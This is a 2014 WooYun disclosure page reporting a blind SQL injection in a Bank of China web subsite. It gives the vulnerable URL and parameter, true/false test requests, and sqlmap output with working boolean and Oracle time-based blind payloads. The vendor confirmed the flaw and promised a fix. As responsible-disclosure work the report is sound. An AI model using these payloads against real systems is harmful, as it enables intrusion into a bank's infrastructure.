当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082916

漏洞标题:中国银行某系统存在SQL盲注漏洞

相关厂商:中国银行

漏洞作者: D_in

提交时间:2014-11-11 19:11

修复时间:2014-12-26 19:12

公开时间:2014-12-26 19:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-11: 细节已通知厂商并且等待厂商处理中
2014-11-13: 厂商已经确认,细节仅向厂商公开
2014-11-23: 细节向核心白帽子及相关领域专家公开
2014-12-03: 细节向普通白帽子公开
2014-12-13: 细节向实习白帽子公开
2014-12-26: 细节向公众公开

简要描述:

我也来混一个

详细说明:

注入点同样存在于e.boc.cn该分站
注入点:https://e.boc.cn/ehome/service/shop/getShopListForPaging.json?code=88&codeType=province&page=0&pagesize=6&sort=%27PC1001%27&t=1415697252399
其中参数code存在注入
https://e.boc.cn/ehome/service/shop/getShopListForPaging.json?code=88%27%20and%20%271%27=%271&codeType=province&page=0&pagesize=6&sort=%27PC1001%27&t=1415697252399

1.png


错误页面
https://e.boc.cn/ehome/service/shop/getShopListForPaging.json?code=88%27%20and%20%271%27=%272&codeType=province&page=0&pagesize=6&sort=%27PC1001%27&t=1415697252399

2.png


漏洞证明:

丢入sqlmap跑起来

[18:51:07] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
GET parameter 'code' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 61 HTTP(s) requests:
---
Place: GET
Parameter: code
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: code=88') AND 8471=8471 AND ('ItzX'='ItzX&codeType=province&page=0&pagesize=6&sort='PC1001'&t=1415697252399
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: code=88') AND 7810=DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(114)||CHR(108)||CHR(120),5) AND ('umRc'='umRc&codeType=province&page=0&pagesize=6&sort='PC1001'&t=1415697252399
---
[18:51:54] [INFO] the back-end DBMS is Oracle
web application technology: Servlet 3.0, Nginx
back-end DBMS: Oracle
[18:51:54] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3 times
[18:51:54] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/e.boc.cn'


当前数据库名

3.png



5.png


证明存在即可,怕查水表

修复方案:

版权声明:转载请注明来源 D_in@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-11-13 14:21

厂商回复:

非常感谢漏洞作者的发现,我们将尽快修补。

最新状态:

暂无